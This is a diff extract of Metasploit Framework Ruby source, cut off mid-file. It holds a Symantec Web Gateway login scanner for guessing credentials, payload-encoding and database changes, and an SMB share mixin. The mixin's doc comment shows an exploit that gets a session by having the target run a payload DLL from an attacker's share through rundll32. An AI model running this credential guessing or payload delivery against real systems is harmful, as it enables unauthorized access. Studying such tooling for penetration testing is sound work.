require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
class SymantecWebGateway < HTTP
|
||||
|
||||
DEFAULT_PORT = 443
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name
|
||||
|
||||
|
||||
# Checks if the target is Symantec Web Gateway. The login module should call this.
|
||||
#
|
||||
# @return [Boolean] TrueClass if target is SWG, otherwise FalseClass
|
||||
def check_setup
|
||||
login_uri = normalize_uri("#{uri}/spywall/login.php")
|
||||
res = send_request({'uri'=> login_uri})
|
||||
|
||||
if res && res.body.include?('Symantec Web Gateway')
|
||||
return true
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
|
||||
# Sends a HTTP request with Rex
|
||||
#
|
||||
# @param (see Rex::Proto::Http::Request#request_raw)
|
||||
# @raise [Rex::ConnectionError] Something has gone wrong while sending the HTTP request
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
def send_request(opts)
|
||||
res = nil
|
||||
cli = Rex::Proto::Http::Client.new(host, port,
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => framework_module
|
||||
},
|
||||
ssl,
|
||||
ssl_version,
|
||||
proxies
|
||||
)
|
||||
configure_http_client(cli)
|
||||
begin
|
||||
cli.connect
|
||||
req = cli.request_cgi(opts)
|
||||
res = cli.send_recv(req)
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error => e
|
||||
# We are trying to mimic the same type of exception rescuing in
|
||||
# Msf::Exploit::Remote::HttpClient. But instead of returning nil, we'll consistently
|
||||
# raise Rex::ConnectionError so the #attempt_login can return the error message back
|
||||
# to the login module.
|
||||
raise Rex::ConnectionError, e.message
|
||||
ensure
|
||||
cli.close
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
|
||||
# Returns the latest sid from Symantec Web Gateway.
|
||||
#
|
||||
# @returns [String] The PHP Session ID for Symantec Web Gateway login
|
||||
def get_last_sid
|
||||
@last_sid ||= lambda {
|
||||
# We don't have a session ID. Well, let's grab one right quick from the login page.
|
||||
# This should probably only happen once (initially).
|
||||
login_uri = normalize_uri("#{uri}/spywall/login.php")
|
||||
res = send_request({'uri' => login_uri})
|
||||
|
||||
return '' unless res
|
||||
|
||||
cookies = res.get_cookies
|
||||
@last_sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''
|
||||
}.call
|
||||
end
|
||||
|
||||
|
||||
# Actually doing the login. Called by #attempt_login
|
||||
#
|
||||
# @param username [String] The username to try
|
||||
# @param password [String] The password to try
|
||||
# @return [Hash]
|
||||
# * :status [Metasploit::Model::Login::Status]
|
||||
# * :proof [String] the HTTP response body
|
||||
def get_login_state(username, password)
|
||||
# Prep the data needed for login
|
||||
sid = get_last_sid
|
||||
protocol = ssl ? 'https' : 'http'
|
||||
peer = "#{host}:#{port}"
|
||||
login_uri = normalize_uri("#{uri}/spywall/login.php")
|
||||
|
||||
res = send_request({
|
||||
'uri' => login_uri,
|
||||
'method' => 'POST',
|
||||
'cookie' => sid,
|
||||
'headers' => {
|
||||
'Referer' => "#{protocol}://#{peer}/#{login_uri}"
|
||||
},
|
||||
'vars_post' => {
|
||||
'USERNAME' => username,
|
||||
'PASSWORD' => password,
|
||||
'loginBtn' => 'Login' # Found in the HTML form
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
return {:status => LOGIN_STATUS::UNABLE_TO_CONNECT, :proof => res.to_s}
|
||||
end
|
||||
|
||||
# After login, the application should give us a new SID
|
||||
cookies = res.get_cookies
|
||||
sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''
|
||||
@last_sid = sid # Update our SID
|
||||
|
||||
if res.headers['Location'].to_s.include?('executive_summary.php') && !sid.blank?
|
||||
return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => res.to_s}
|
||||
end
|
||||
|
||||
{:status => LOGIN_STATUS::INCORRECT, :proof => res.to_s}
|
||||
end
|
||||
|
||||
|
||||
# Attempts to login to Symantec Web Gateway. This is called first.
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Result] A Result object indicating success or failure
|
||||
def attempt_login(credential)
|
||||
result_opts = { credential: credential }
|
||||
|
||||
begin
|
||||
result_opts.merge!(get_login_state(credential.public, credential.private))
|
||||
rescue ::Rex::ConnectionError => e
|
||||
# Something went wrong during login. 'e' knows what's up.
|
||||
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
|
||||
end
|
||||
|
||||
Result.new(result_opts)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -44,7 +44,7 @@ module Metasploit
|
|||
untested_payloads_pathname = Pathname.new 'log/untested-payloads.log'
|
||||
|
||||
if untested_payloads_pathname.exist?
|
||||
tool_path = 'tools/missing-payload-tests.rb'
|
||||
tool_path = 'tools/missing_payload_tests.rb'
|
||||
|
||||
$stderr.puts "Untested payload detected. Running `#{tool_path}` to see contexts to add to " \
|
||||
"`spec/modules/payloads_spec.rb` to test those payload ancestor reference names."
|
||||
|
|
|
@ -15,7 +15,7 @@ module MeterpreterOptions
|
|||
OptString.new('InitialAutoRunScript', [false, "An initial script to run on session creation (before AutoRunScript)", '']),
|
||||
OptString.new('AutoRunScript', [false, "A script to run automatically on session creation.", '']),
|
||||
OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]),
|
||||
OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", true]),
|
||||
OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", Rex::Compat.is_windows]),
|
||||
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"])
|
||||
], self.class)
|
||||
end
|
||||
|
|
|
@ -51,12 +51,13 @@ module Payload
|
|||
|
||||
# Generate the payload
|
||||
e = EncodedPayload.create(payload,
|
||||
'BadChars' => opts['BadChars'],
|
||||
'MinNops' => opts['NopSledSize'],
|
||||
'Encoder' => opts['Encoder'],
|
||||
'BadChars' => opts['BadChars'],
|
||||
'MinNops' => opts['NopSledSize'],
|
||||
'Encoder' => opts['Encoder'],
|
||||
'Iterations' => opts['Iterations'],
|
||||
'ForceEncode' => opts['ForceEncode'],
|
||||
'Space' => opts['MaxSize'])
|
||||
'DisableNops' => opts['DisableNops'],
|
||||
'Space' => opts['MaxSize'])
|
||||
|
||||
fmt = opts['Format'] || 'raw'
|
||||
|
||||
|
|
|
@ -540,6 +540,13 @@ module Auxiliary::AuthBrute
|
|||
::IO.select(nil,nil,nil,sleep_time) unless sleep_time == 0
|
||||
end
|
||||
|
||||
# See #print_brute
|
||||
def vprint_brute(opts={})
|
||||
if datastore['VERBOSE']
|
||||
print_brute(opts)
|
||||
end
|
||||
end
|
||||
|
||||
# Provides a consistant way to display messages about AuthBrute-mixed modules.
|
||||
# Acceptable opts are fairly self-explanitory, but :level can be tricky.
|
||||
#
|
||||
|
|
|
@ -374,6 +374,18 @@ class Export
|
|||
report_file.write(" #{el}\n")
|
||||
end
|
||||
|
||||
# Notes attached to vulns instead of the host
|
||||
report_file.write(" <notes>\n")
|
||||
@notes.where(vuln_id: e.id).each do |note|
|
||||
report_file.write(" <note>\n")
|
||||
note.attributes.each_pair do |k,v|
|
||||
el = create_xml_element(k,v)
|
||||
report_file.write(" #{el}\n")
|
||||
end
|
||||
report_file.write(" </note>\n")
|
||||
end
|
||||
report_file.write(" </notes>\n")
|
||||
|
||||
# References
|
||||
report_file.write(" <refs>\n")
|
||||
e.refs.each do |ref|
|
||||
|
|
|
@ -73,7 +73,7 @@ module Msf::DBManager::Host
|
|||
# address
|
||||
#
|
||||
def normalize_host(host)
|
||||
return host if host.kind_of? ::Mdm::Host
|
||||
return host if defined?(::Mdm) and host.kind_of? ::Mdm::Host
|
||||
norm_host = nil
|
||||
|
||||
if (host.kind_of? String)
|
||||
|
@ -92,7 +92,7 @@ module Msf::DBManager::Host
|
|||
else
|
||||
norm_host = Rex::Socket.getaddress(host, true)
|
||||
end
|
||||
elsif host.kind_of? ::Mdm::Session
|
||||
elsif defined?(::Mdm) and host.kind_of? ::Mdm::Session
|
||||
norm_host = host.host
|
||||
elsif host.respond_to?(:session_host)
|
||||
# Then it's an Msf::Session object
|
||||
|
|
|
@ -64,6 +64,30 @@ module Msf::DBManager::Import::MetasploitFramework::XML
|
|||
import_msf_xml(args.merge(:data => data))
|
||||
end
|
||||
|
||||
# Imports `Mdm::Note` objects from the XML element.
|
||||
#
|
||||
# @param note [REXML::Element] The Note element
|
||||
# @param allow_yaml [Boolean] whether to allow yaml
|
||||
# @param note_data [Hash] hash containing note attributes to be passed along
|
||||
# @return [void]
|
||||
def import_msf_note_element(note, allow_yaml, note_data={})
|
||||
note_data[:type] = nils_for_nulls(note.elements["ntype"].text.to_s.strip)
|
||||
note_data[:data] = nils_for_nulls(unserialize_object(note.elements["data"], allow_yaml))
|
||||
|
||||
if note.elements["critical"].text
|
||||
note_data[:critical] = true unless note.elements["critical"].text.to_s.strip == "NULL"
|
||||
end
|
||||
if note.elements["seen"].text
|
||||
note_data[:seen] = true unless note.elements["critical"].text.to_s.strip == "NULL"
|
||||
end
|
||||
%W{created-at updated-at}.each { |datum|
|
||||
if note.elements[datum].text
|
||||
note_data[datum.gsub("-","_")] = nils_for_nulls(note.elements[datum].text.to_s.strip)
|
||||
end
|
||||
}
|
||||
report_note(note_data)
|
||||
end
|
||||
|
||||
# Imports web_form element using {Msf::DBManager#report_web_form}.
|
||||
#
|
||||
# @param element [REXML::Element] web_form element.
|
||||
|
@ -280,21 +304,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML
|
|||
note_data = {}
|
||||
note_data[:workspace] = wspace
|
||||
note_data[:host] = hobj
|
||||
note_data[:type] = nils_for_nulls(note.elements["ntype"].text.to_s.strip)
|
||||
note_data[:data] = nils_for_nulls(unserialize_object(note.elements["data"], allow_yaml))
|
||||
|
||||
if note.elements["critical"].text
|
||||
note_data[:critical] = true unless note.elements["critical"].text.to_s.strip == "NULL"
|
||||
end
|
||||
if note.elements["seen"].text
|
||||
note_data[:seen] = true unless note.elements["critical"].text.to_s.strip == "NULL"
|
||||
end
|
||||
%W{created-at updated-at}.each { |datum|
|
||||
if note.elements[datum].text
|
||||
note_data[datum.gsub("-","_")] = nils_for_nulls(note.elements[datum].text.to_s.strip)
|
||||
end
|
||||
}
|
||||
report_note(note_data)
|
||||
import_msf_note_element(note,allow_yaml,note_data)
|
||||
end
|
||||
|
||||
host.elements.each('tags/tag') do |tag|
|
||||
|
@ -335,6 +345,13 @@ module Msf::DBManager::Import::MetasploitFramework::XML
|
|||
|
||||
vobj = report_vuln(vuln_data)
|
||||
|
||||
vuln.elements.each("notes/note") do |note|
|
||||
note_data = {}
|
||||
note_data[:workspace] = wspace
|
||||
note_data[:vuln_id] = vobj.id
|
||||
import_msf_note_element(note,allow_yaml,note_data)
|
||||
end
|
||||
|
||||
vuln.elements.each("vuln_details/vuln_detail") do |vdet|
|
||||
vdet_data = {}
|
||||
vdet.elements.each do |det|
|
||||
|
|
|
@ -124,6 +124,7 @@ module Msf::DBManager::Note
|
|||
conditions = { :ntype => ntype }
|
||||
conditions[:host_id] = host[:id] if host
|
||||
conditions[:service_id] = service[:id] if service
|
||||
conditions[:vuln_id] = opts[:vuln_id]
|
||||
|
||||
case mode
|
||||
when :unique
|
||||
|
@ -162,6 +163,9 @@ module Msf::DBManager::Note
|
|||
note.ntype = ntype
|
||||
note.data = data
|
||||
end
|
||||
if opts[:vuln_id]
|
||||
note.vuln_id = opts[:vuln_id]
|
||||
end
|
||||
msf_import_timestamps(opts,note)
|
||||
note.save!
|
||||
ret[:note] = note
|
||||
|
|
|
@ -45,29 +45,8 @@ module Msf::DBManager::Vuln
|
|||
end
|
||||
|
||||
def find_vuln_by_refs(refs, host, service=nil)
|
||||
|
||||
vuln = nil
|
||||
|
||||
# Try to find an existing vulnerability with the same service & references
|
||||
# If there are multiple matches, choose the one with the most matches
|
||||
if service
|
||||
refs_ids = refs.map{|x| x.id }
|
||||
vuln = service.vulns.where({ 'refs.id' => refs_ids }).includes(:refs).sort { |a,b|
|
||||
( refs_ids - a.refs.map{|x| x.id } ).length <=> ( refs_ids - b.refs.map{|x| x.id } ).length
|
||||
}.first
|
||||
end
|
||||
|
||||
# Return if we matched based on service
|
||||
return vuln if vuln
|
||||
|
||||
# Try to find an existing vulnerability with the same host & references
|
||||
# If there are multiple matches, choose the one with the most matches
|
||||
refs_ids = refs.map{|x| x.id }
|
||||
vuln = host.vulns.where({ 'service_id' => nil, 'refs.id' => refs_ids }).includes(:refs).sort { |a,b|
|
||||
( refs_ids - a.refs.map{|x| x.id } ).length <=> ( refs_ids - b.refs.map{|x| x.id } ).length
|
||||
}.first
|
||||
|
||||
return vuln
|
||||
ref_ids = refs.find_all { |ref| ref.name.starts_with? 'CVE-'}
|
||||
host.vulns.joins(:refs).where(service_id: service.try(:id), refs: { id: ref_ids}).first
|
||||
end
|
||||
|
||||
def get_vuln(wspace, host, service, name, data='')
|
||||
|
|
|
@ -30,7 +30,7 @@ module Msf::DBManager::Workspace
|
|||
|
||||
def workspaces
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
::Mdm::Workspace.all
|
||||
::Mdm::Workspace.order('updated_at asc').all
|
||||
}
|
||||
end
|
||||
end
|
||||
|
|
|
@ -34,6 +34,7 @@ class EncodedPayload
|
|||
self.framework = framework
|
||||
self.pinst = pinst
|
||||
self.reqs = reqs
|
||||
self.space = reqs['Space']
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -64,6 +65,9 @@ class EncodedPayload
|
|||
# First, validate
|
||||
pinst.validate()
|
||||
|
||||
# Tell the payload how much space is available
|
||||
pinst.available_space = self.space
|
||||
|
||||
# Generate the raw version of the payload first
|
||||
generate_raw() if self.raw.nil?
|
||||
|
||||
|
@ -90,7 +94,7 @@ class EncodedPayload
|
|||
#
|
||||
# @return [String] The raw, unencoded payload.
|
||||
def generate_raw
|
||||
self.raw = (reqs['Prepend'] || '') + pinst.generate + (reqs['Append'] || '')
|
||||
self.raw = (reqs['Prepend'] || '') + pinst.generate_complete + (reqs['Append'] || '')
|
||||
|
||||
# If an encapsulation routine was supplied, then we should call it so
|
||||
# that we can get the real raw payload.
|
||||
|
@ -191,6 +195,9 @@ class EncodedPayload
|
|||
next
|
||||
end
|
||||
|
||||
# Tell the encoder how much space is available
|
||||
self.encoder.available_space = self.space
|
||||
|
||||
eout = self.raw.dup
|
||||
|
||||
next_encoder = false
|
||||
|
@ -456,7 +463,10 @@ class EncodedPayload
|
|||
# The number of encoding iterations used
|
||||
#
|
||||
attr_reader :iterations
|
||||
|
||||
#
|
||||
# The maximum number of bytes acceptable for the encoded payload
|
||||
#
|
||||
attr_reader :space
|
||||
protected
|
||||
|
||||
attr_writer :raw # :nodoc:
|
||||
|
@ -467,6 +477,7 @@ protected
|
|||
attr_writer :encoder # :nodoc:
|
||||
attr_writer :nop # :nodoc:
|
||||
attr_writer :iterations # :nodoc:
|
||||
attr_writer :space # :nodoc
|
||||
|
||||
#
|
||||
# The payload instance used to generate the payload
|
||||
|
|
|
@ -434,6 +434,12 @@ class Encoder < Module
|
|||
false
|
||||
end
|
||||
|
||||
#
|
||||
# The amount of space available to the encoder, which may be nil,
|
||||
# indicating that the smallest possible encoding should be used.
|
||||
#
|
||||
attr_accessor :available_space
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
|
|
|
@ -42,7 +42,7 @@ module Msf
|
|||
[
|
||||
true,
|
||||
'Send a TTL=1 random UDP datagram to this host to discover the default gateway\'s MAC',
|
||||
'www.metasploit.com']),
|
||||
'8.8.8.8']),
|
||||
OptPort.new('GATEWAY_PROBE_PORT',
|
||||
[
|
||||
false,
|
||||
|
@ -143,7 +143,6 @@ module Msf
|
|||
return unless self.capture
|
||||
self.capture = nil
|
||||
self.arp_capture = nil
|
||||
GC.start()
|
||||
end
|
||||
|
||||
def capture_extract_ies(raw)
|
||||
|
@ -163,26 +162,15 @@ module Msf
|
|||
end
|
||||
|
||||
#
|
||||
# This monstrosity works around a series of bugs in the interrupt
|
||||
# signal handling of Ruby 1.9
|
||||
# Loop through each packet
|
||||
#
|
||||
def each_packet
|
||||
return unless capture
|
||||
begin
|
||||
@capture_count = 0
|
||||
reader = framework.threads.spawn("PcapReceiver", false) do
|
||||
capture.each do |pkt|
|
||||
yield(pkt)
|
||||
@capture_count += 1
|
||||
end
|
||||
end
|
||||
reader.join
|
||||
rescue ::Exception
|
||||
raise $!
|
||||
ensure
|
||||
reader.kill if reader.alive?
|
||||
@capture_count ||= 0
|
||||
capture.each do |pkt|
|
||||
yield(pkt)
|
||||
@capture_count += 1
|
||||
end
|
||||
|
||||
@capture_count
|
||||
end
|
||||
|
||||
|
@ -242,10 +230,9 @@ module Msf
|
|||
pcap.inject(pkt)
|
||||
Rex.sleep((delay * 1.0)/1000)
|
||||
end
|
||||
GC.start
|
||||
end
|
||||
|
||||
# Capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires
|
||||
# capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires
|
||||
# a payload and a destination address. To send to the broadcast address, set bcast
|
||||
# to true (this will guarantee that packets will be sent even if ARP doesn't work
|
||||
# out).
|
||||
|
@ -262,24 +249,20 @@ module Msf
|
|||
|
||||
# The return value either be a PacketFu::Packet object, or nil
|
||||
def inject_reply(proto=:udp, pcap=self.capture)
|
||||
reply = nil
|
||||
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
|
||||
if not pcap
|
||||
raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)"
|
||||
else
|
||||
begin
|
||||
::Timeout.timeout(to) do
|
||||
pcap.each do |r|
|
||||
packet = PacketFu::Packet.parse(r)
|
||||
next unless packet.proto.map { |x| x.downcase.to_sym }.include? proto
|
||||
reply = packet
|
||||
break
|
||||
end
|
||||
# Defaults to ~2 seconds
|
||||
to = (datastore['TIMEOUT'] * 4) / 1000.0
|
||||
raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" if not pcap
|
||||
begin
|
||||
::Timeout.timeout(to) do
|
||||
pcap.each do |r|
|
||||
packet = PacketFu::Packet.parse(r)
|
||||
next unless packet.proto.map { |x| x.downcase.to_sym }.include? proto
|
||||
return packet
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
end
|
||||
return reply
|
||||
nil
|
||||
end
|
||||
|
||||
# This ascertains the correct Ethernet addresses one should use to
|
||||
|
@ -328,20 +311,19 @@ module Msf
|
|||
end
|
||||
|
||||
begin
|
||||
to = (datastore['TIMEOUT'] || 1500).to_f / 1000.0
|
||||
to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0
|
||||
::Timeout.timeout(to) do
|
||||
while (my_packet = inject_reply(:udp, self.arp_capture))
|
||||
if my_packet.payload == secret
|
||||
dst_mac = self.arp_cache[:gateway] = my_packet.eth_daddr
|
||||
src_mac = self.arp_cache[Rex::Socket.source_address(addr)] = my_packet.eth_saddr
|
||||
return [dst_mac, src_mac]
|
||||
else
|
||||
next
|
||||
end
|
||||
loop do
|
||||
my_packet = inject_reply(:udp, self.arp_capture)
|
||||
next unless my_packet
|
||||
next unless my_packet.payload == secret
|
||||
dst_mac = self.arp_cache[:gateway] = my_packet.eth_daddr
|
||||
src_mac = self.arp_cache[Rex::Socket.source_address(addr)] = my_packet.eth_saddr
|
||||
return [dst_mac, src_mac]
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
# Well, that didn't work (this common on networks where there's no gatway, like
|
||||
# Well, that didn't work (this is common on networks where there's no gateway, like
|
||||
# VMWare network interfaces. We'll need to use a fake source hardware address.
|
||||
self.arp_cache[Rex::Socket.source_address(addr)] = "00:00:00:00:00:00"
|
||||
end
|
||||
|
@ -354,26 +336,31 @@ module Msf
|
|||
return self.arp_cache[:gateway] unless should_arp? target_ip
|
||||
source_ip = Rex::Socket.source_address(target_ip)
|
||||
raise RuntimeError, "Could not access the capture process." unless self.arp_capture
|
||||
|
||||
p = arp_packet(target_ip, source_ip)
|
||||
inject_eth(:eth_type => 0x0806,
|
||||
:payload => p,
|
||||
:pcap => self.arp_capture,
|
||||
:eth_saddr => self.arp_cache[Rex::Socket.source_address(target_ip)]
|
||||
)
|
||||
begin
|
||||
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
|
||||
::Timeout.timeout(to) do
|
||||
while (my_packet = inject_reply(:arp, self.arp_capture))
|
||||
if my_packet.arp_saddr_ip == target_ip
|
||||
|
||||
# Try up to 3 times to get an ARP response
|
||||
1.upto(3) do
|
||||
inject_eth(:eth_type => 0x0806,
|
||||
:payload => p,
|
||||
:pcap => self.arp_capture,
|
||||
:eth_saddr => self.arp_cache[Rex::Socket.source_address(target_ip)]
|
||||
)
|
||||
begin
|
||||
to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0
|
||||
::Timeout.timeout(to) do
|
||||
loop do
|
||||
my_packet = inject_reply(:arp, self.arp_capture)
|
||||
next unless my_packet
|
||||
next unless my_packet.arp_saddr_ip == target_ip
|
||||
self.arp_cache[target_ip] = my_packet.eth_saddr
|
||||
return self.arp_cache[target_ip]
|
||||
else
|
||||
next
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
# Creates a full ARP packet, mainly for use with inject_eth()
|
||||
|
|
|
@ -76,7 +76,6 @@ module Exploit::Remote::Ipv6
|
|||
|
||||
return if not @ipv6_icmp6_capture
|
||||
@ipv6_icmp6_capture = nil
|
||||
GC.start()
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -32,6 +32,7 @@ require 'msf/core/exploit/smb/client'
|
|||
require 'msf/core/exploit/smb/client/authenticated'
|
||||
require 'msf/core/exploit/smb/client/psexec'
|
||||
require 'msf/core/exploit/smb/server'
|
||||
require 'msf/core/exploit/smb/server/share'
|
||||
require 'msf/core/exploit/ftp'
|
||||
require 'msf/core/exploit/tftp'
|
||||
require 'msf/core/exploit/telnet'
|
||||
|
|
|
@ -483,7 +483,7 @@ module Msf
|
|||
tag = Rex::Text.rand_text_alpha(rand(20) + 5)
|
||||
ua = request.headers['User-Agent'] || ''
|
||||
init_profile(tag)
|
||||
print_status("Sending response HTML.")
|
||||
print_status("Sending HTML response.")
|
||||
html = get_detection_html(ua)
|
||||
send_response(cli, html, {'Set-Cookie' => cookie_header(tag)})
|
||||
|
||||
|
|
|
@ -133,11 +133,18 @@ module Msf
|
|||
pkt = CONST::SMB_BASE_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
pkt['Payload']['SMB'].v['Command'] = cmd
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
||||
pkt['Payload']['SMB'].v['Flags1'] = CONST::FLAGS_REQ_RES | CONST::FLAGS_CASE_SENSITIVE
|
||||
if esn
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc801
|
||||
pkt['Payload']['SMB'].v['Flags2'] =
|
||||
CONST::FLAGS2_UNICODE_STRINGS +
|
||||
CONST::FLAGS2_EXTENDED_SECURITY +
|
||||
CONST::FLAGS2_32_BIT_ERROR_CODES +
|
||||
CONST::FLAGS2_LONG_PATH_COMPONENTS
|
||||
else
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
||||
pkt['Payload']['SMB'].v['Flags2'] =
|
||||
CONST::FLAGS2_UNICODE_STRINGS +
|
||||
CONST::FLAGS2_32_BIT_ERROR_CODES +
|
||||
CONST::FLAGS2_LONG_PATH_COMPONENTS
|
||||
end
|
||||
pkt['Payload']['SMB'].v['ErrorClass'] = errorclass
|
||||
c.put(pkt.to_s)
|
||||
|
|
|
@ -0,0 +1,303 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/socket'
|
||||
require 'rex/proto/smb'
|
||||
require 'rex/text'
|
||||
require 'rex/logging'
|
||||
require 'rex/struct2'
|
||||
require 'rex/proto/smb/constants'
|
||||
require 'rex/proto/smb/utils'
|
||||
require 'rex/proto/dcerpc'
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
# This mixin provides a minimal SMB server sharing an UNC resource. At
|
||||
# this moment it is capable to share just one file. And the file should
|
||||
# live in the root folder "\\".
|
||||
#
|
||||
# @example Use it from an Auxiliary module
|
||||
# require 'msf/core'
|
||||
#
|
||||
# class Metasploit3 < Msf::Auxiliary
|
||||
#
|
||||
# include Msf::Exploit::Remote::SMB::Server::Share
|
||||
#
|
||||
# def initialize
|
||||
# super(
|
||||
# 'Name' => 'SMB File Server',
|
||||
# 'Description' => %q{
|
||||
# This module provides a SMB File Server service
|
||||
# },
|
||||
# 'Author' =>
|
||||
# [
|
||||
# 'Matthew Hall',
|
||||
# 'juan vazquez'
|
||||
# ],
|
||||
# 'License' => MSF_LICENSE,
|
||||
# 'Actions' =>
|
||||
# [
|
||||
# ['Service']
|
||||
# ],
|
||||
# 'PassiveActions' =>
|
||||
# [
|
||||
# 'Service'
|
||||
# ],
|
||||
# 'DefaultAction' => 'Service'
|
||||
# )
|
||||
# end
|
||||
#
|
||||
# def run
|
||||
# print_status("Starting SMB Server on #{unc}...")
|
||||
# exploit
|
||||
# end
|
||||
#
|
||||
# def primer
|
||||
# print_status("Primer...")
|
||||
# self.file_contents = 'METASPLOIT'
|
||||
# end
|
||||
# end
|
||||
#
|
||||
# @example Use it from an Exploit module
|
||||
# require 'msf/core'
|
||||
#
|
||||
# class Metasploit3 < Msf::Exploit::Remote
|
||||
# Rank = ExcellentRanking
|
||||
#
|
||||
# include Msf::Exploit::EXE
|
||||
# include Msf::Exploit::Remote::SMB::Server::Share
|
||||
#
|
||||
# def initialize(info={})
|
||||
# super(update_info(info,
|
||||
# 'Name' => "Example Exploit",
|
||||
# 'Description' => %q{
|
||||
# Example exploit, the Server shares a DLL embedding the payload. A session
|
||||
# can be achieved by executing 'rundll32.exe \\srvhost\share\test.dll,0' from
|
||||
# from the target.
|
||||
# },
|
||||
# 'License' => MSF_LICENSE,
|
||||
# 'Author' =>
|
||||
# [
|
||||
# 'Matthew Hall',
|
||||
# 'juan vazquez'
|
||||
# ],
|
||||
# 'References' =>
|
||||
# [
|
||||
# ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3074']
|
||||
# ],
|
||||
# 'Payload' =>
|
||||
# {
|
||||
# 'Space' => 2048,
|
||||
# 'DisableNops' => true
|
||||
# },
|
||||
# 'Platform' => 'win',
|
||||
# 'Targets' =>
|
||||
# [
|
||||
# ['Windows XP SP3 / Windows 2003 SP2', {}],
|
||||
# ],
|
||||
# 'Privileged' => false,
|
||||
# 'DisclosureDate' => "Mar 02 2015",
|
||||
# 'DefaultTarget' => 0))
|
||||
#
|
||||
# register_options(
|
||||
# [
|
||||
# OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'test.dll'])
|
||||
# ], self.class)
|
||||
#
|
||||
# deregister_options('FILE_CONTENTS')
|
||||
# end
|
||||
#
|
||||
# def primer
|
||||
# self.file_contents = generate_payload_dll
|
||||
# print_status("File available on #{unc}...")
|
||||
# end
|
||||
# end
|
||||
module Share
|
||||
require 'msf/core/exploit/smb/server/share/command'
|
||||
require 'msf/core/exploit/smb/server/share/information_level'
|
||||
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::Command::Close
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::Command::Negotiate
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::Command::NtCreateAndx
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::Command::ReadAndx
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::Command::SessionSetupAndx
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::FindFirst2
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::QueryFileInformation
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::QueryPathInformation
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::InformationLevel::Find
|
||||
include Msf::Exploit::Remote::SMB::Server::Share::InformationLevel::Query
|
||||
|
||||
include Msf::Exploit::Remote::SMB::Server
|
||||
|
||||
FLAGS = CONST::FLAGS_REQ_RES | CONST::FLAGS_CASE_SENSITIVE
|
||||
|
||||
FLAGS2 = CONST::FLAGS2_UNICODE_STRINGS |
|
||||
CONST::FLAGS2_EXTENDED_SECURITY |
|
||||
CONST::FLAGS2_32_BIT_ERROR_CODES |
|
||||
CONST::FLAGS2_LONG_PATH_COMPONENTS
|
||||
|
||||
CAPABILITIES = CONST::CAP_UNIX_EXTENSIONS |
|
||||
CONST::CAP_LARGE_WRITEX |
|
||||
CONST::CAP_LARGE_READX |
|
||||
CONST::CAP_PASSTHRU |
|
||||
CONST::CAP_DFS |
|
||||
CONST::CAP_NT_FIND |
|
||||
CONST::CAP_LOCK_AND_READ |
|
||||
CONST::CAP_LEVEL_II_OPLOCKS |
|
||||
CONST::CAP_STATUS32 |
|
||||
CONST::CAP_RPC_REMOTE_APIS |
|
||||
CONST::CAP_NT_SMBS |
|
||||
CONST::CAP_LARGE_FILES |
|
||||
CONST::CAP_UNICODE |
|
||||
CONST::CAP_RAW_MODE
|
||||
|
||||
CREATE_MAX_ACCESS = CONST::SMB_READ_ACCESS |
|
||||
